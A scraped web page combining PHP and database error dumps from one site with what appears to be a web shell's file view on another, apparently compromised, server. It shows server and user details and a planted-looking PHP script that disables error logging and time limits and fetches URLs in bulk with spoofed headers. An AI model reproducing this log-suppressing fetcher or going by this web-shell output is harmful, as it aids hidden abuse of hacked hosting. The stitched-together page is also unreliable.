A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux vps17447 6.8.0-78-generic #78~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Aug 13 14:32:06 UTC 2 x86_64
User: dh_m2e37m (5712562)
PHP: 8.1.32
Disabled: NONE
Upload Files
File: /home/dh_m2e37m/immigrationvista.com.old/backup_1/mcurl2.class.php
<?php
ignore_user_abort(true);
set_time_limit(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
class MCurl

{
	protected $_urls;
    protected $_result;
    protected $_timeout;
    public function __construct($timeout = 19, $urls = false)
    {
        $this->_timeout = $timeout;
        $this->_urls = $urls ? $urls : array();
        $this->_result = array();
    }
    public function setTimeout($timeout)
    {
        $this->_timeout = $timeout;
    }
    public function setUrls($urls)
    {
        $this->_urls = $urls;  
    }
    public function getResults()
    {
        if(!$this->_result) $this->scan();
        return $this->_result;
    }
    public function scan() 
    {
        $curl = array(); 
        $mh = curl_multi_init();
		$UA = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)';
		foreach ($this->_urls as $id => $url)
        {
            $curl[$id] = curl_init();
            curl_setopt($curl[$id], CURLOPT_URL, $url);
            curl_setopt($curl[$id], CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl[$id], CURLOPT_TIMEOUT, 30);
            curl_setopt($curl[$id], CURLOPT_FOLLOWLOCATION, true); 
	    curl_setopt($curl[$id], CURLOPT_REFERER, $url);
	    curl_setopt($curl[$id], CURLOPT_USERAGENT, $UA);
            curl_multi_add_handle($mh, $curl[$id]);
        }
        $running = null;
        do curl_multi_exec($mh, $running);
        while($running > 0);
        foreach($curl as $id => $c)
        {
            $this->_result[$id] = curl_multi_getcontent($c);
            curl_multi_remove_handle($mh, $c);
        }
        curl_multi_close($mh);
    }
}
?>